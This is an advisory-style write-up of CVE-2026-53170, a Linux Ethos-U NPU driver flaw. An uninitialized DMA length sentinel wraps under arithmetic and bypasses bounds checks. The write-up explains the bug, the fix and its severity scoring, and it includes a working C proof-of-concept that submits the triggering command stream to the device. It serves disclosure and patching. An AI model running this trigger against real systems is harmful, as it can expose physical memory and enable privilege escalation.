# CVE-2026-53170: DMA with an uninitialized length sentinel in the Ethos-U driver

**Patch:** [d9d021218162b6c4fe0bdf42b2b340f1aae23a12](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d9d021218162b6c4fe0bdf42b2b340f1aae23a12) (mainline, landed in 7.1)
**Subsystem:** accel/ethosu, Arm Ethos-U NPU driver
**Affected file:** drivers/accel/ethosu/ethosu_gem.c
**CVE record:** [CVE-2026-53170](https://www.cve.org/CVERecord?id=CVE-2026-53170)
**Introduced in:** 6.19, commit 5a5e9c0228e613f0ef2a58b9782d7c0ea8f1e58b

## The bug in one sentence

The driver used U64_MAX as a "not initialized" sentinel for DMA length, but arithmetic on U64_MAX wraps, so the sentinel could silently turn into a small number that bypassed the bounds check and let the NPU DMA from stale physical addresses.

## How a sentinel dies by addition

cmd_state_init() memsets the command state to 0xff, which leaves dma->len at U64_MAX, meaning "userspace never issued NPU_SET_DMA0_LEN". The only code path that checks the sentinel runs in dma_length() and its caller. The problem is what happens in between:

```c
len = ((len + stride[0]) * size0 + stride[1]) * size1
```

With dma->len still at U64_MAX, adding a positive stride wraps to a small value. With size0 equal to 1, the multiplication check in check_mul_overflow() does not fire, and dma_length() returns 0 instead of propagating U64_MAX. The caller's U64_MAX check then passes, region_size[] stays 0, and the bounds validation in ethosu_job.c that is supposed to verify the DMA against the GEM buffer sizes is bypassed entirely. Hardware then executes the DMA using whatever stale physical addresses happen to sit in the command state.

The failure mode of the missing check is not a crash. It is the NPU reading and writing physical memory that the kernel never validated for this job, which is why this one carries the highest score of the Ethos-U set.

The fix checks for the sentinel before any arithmetic, consistent with how the rest of the driver detects uninitialized fields:

```diff
+	if (dma->len == U64_MAX)
+		return dma->len;
```

Full patch: [d9d021218162](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d9d021218162b6c4fe0bdf42b2b340f1aae23a12)

Triggering it is one ioctl sequence: create a command stream that issues NPU_OP_DMA_START without ever issuing NPU_SET_DMA0_LEN. Userspace fully controls whether the sentinel survives to the arithmetic.

## How to trigger it

Skip the length command entirely. cmd_state_init() leaves dma->len at U64_MAX, and the stream only needs the start opcode:

```c
unsigned int stream[] = {
    WORD(NPU_OP_DMA_START, 0),   /* 0x10: begin DMA, never set DMA0_LEN */
};
/* submit via DRM_IOCTL_ETHOSU_BO_CREATE */
```

Pre-fix, dma_length() adds stride to U64_MAX, the sum wraps to a small value, with size0 equal to 1 no overflow check fires, and the function returns 0 instead of propagating the sentinel. The caller's U64_MAX check passes, region_size[] stays 0, the bounds validation in ethosu_job.c sees a zero length DMA and waves it through, and the NPU executes the DMA using whatever stale physical addresses were left in the command state. The visible symptom is the NPU faulting or touching memory nobody mapped for it, which is why this scored scope changed. Post-fix dma_length() checks for U64_MAX before any arithmetic and the submit is rejected.

The failure mode here is not a crash. It is hardware reading and writing physical memory the kernel never validated for the job.

## Score and classification

* Kernel CNA (mirrored by NVD as Secondary): 8.8 HIGH, vector CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
* CWE-908, use of an uninitialized resource, from NVD
* Red Hat's tracker describes it as a privilege escalation flaw
* Ubuntu: priority High, CVSS v4.0 8.5

The scope-changed (S:C) 8.8 is the driver-escape scoring template: kernel-mediated hardware DMA escaping the bounds the kernel enforced, affecting resources beyond the vulnerable component. It is the right call for what the code permits, even if building a reliable exploit out of stale physical addresses on a specific NPU platform is a research project rather than a script.

## Exploit code

The stream is a bare NPU_OP_DMA_START with the length command deliberately missing, so the U64_MAX sentinel survives into the arithmetic:

```c
/* ethosu_dma_uninit.c: CVE-2026-53170
 * gcc -o poc poc.c && ./poc /dev/accel/accel0
 * vulnerable kernel: sentinel wraps in dma_length(), bounds validation
 * bypassed, NPU DMAs from stale physical addresses; fixed: EINVAL
 */
#include <errno.h>
#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <drm/ethosu_accel.h>

int main(int argc, char **argv)
{
	/* 0x10 = NPU_OP_DMA_START; no NPU_SET_DMA0_LEN (0x4032) before it */
	uint32_t stream[] = { (0x0u << 16) | 0x10u };
	struct drm_ethosu_cmdstream_bo_create args = {0};
	int fd = open(argc > 1 ? argv[1] : "/dev/accel/accel0", O_RDWR);

	if (fd < 0) { perror("open"); return 1; }
	args.size = sizeof(stream);
	args.data = (uint64_t)(uintptr_t)stream;

	printf("ret %d errno %d (%s)\n",
	       ioctl(fd, DRM_IOCTL_ETHOSU_CMDSTREAM_BO_CREATE, &args),
	       errno, strerror(errno));
	return 0;
}
```

Pre-fix the submit succeeds. That is the scary part: dma_length() adds stride to U64_MAX, the sum wraps small, the U64_MAX check downstream passes, region_size[] records zero, and the hardware is released to run the DMA on stale addresses from the memset(0xff) command state. The observable on hardware is NPU faults or corrupted inference buffers rather than a kernel splat. Post-fix dma_length() checks the sentinel first and the submit fails with EINVAL. Public status: no KEV, no public PoC before this note; fixed in 7.0.13 and 7.1, Ubuntu USNs 8726-1 through 8800-1, Debian stable unaffected.

## Where the fix shipped

* 7.0.13: [fb25c76a820c](https://git.kernel.org/stable/c/fb25c76a820ca8a547aa478bfb503da0a11494ab)
* 7.1: [d9d021218162](https://git.kernel.org/stable/c/d9d021218162b6c4fe0bdf42b2b340f1aae23a12)

## References

1. [Upstream commit d9d021218162](https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=d9d021218162b6c4fe0bdf42b2b340f1aae23a12)
2. [CVE announcement on lore](https://lore.kernel.org/linux-cve-announce/2026062552-CVE-2026-53170-29c9@gregkh/)
3. [NVD record](https://nvd.nist.gov/vuln/detail/CVE-2026-53170)
4. [Red Hat tracker](https://access.redhat.com/security/cve/cve-2026-53170)
5. [Ubuntu tracker](https://ubuntu.com/security/CVE-2026-53170)
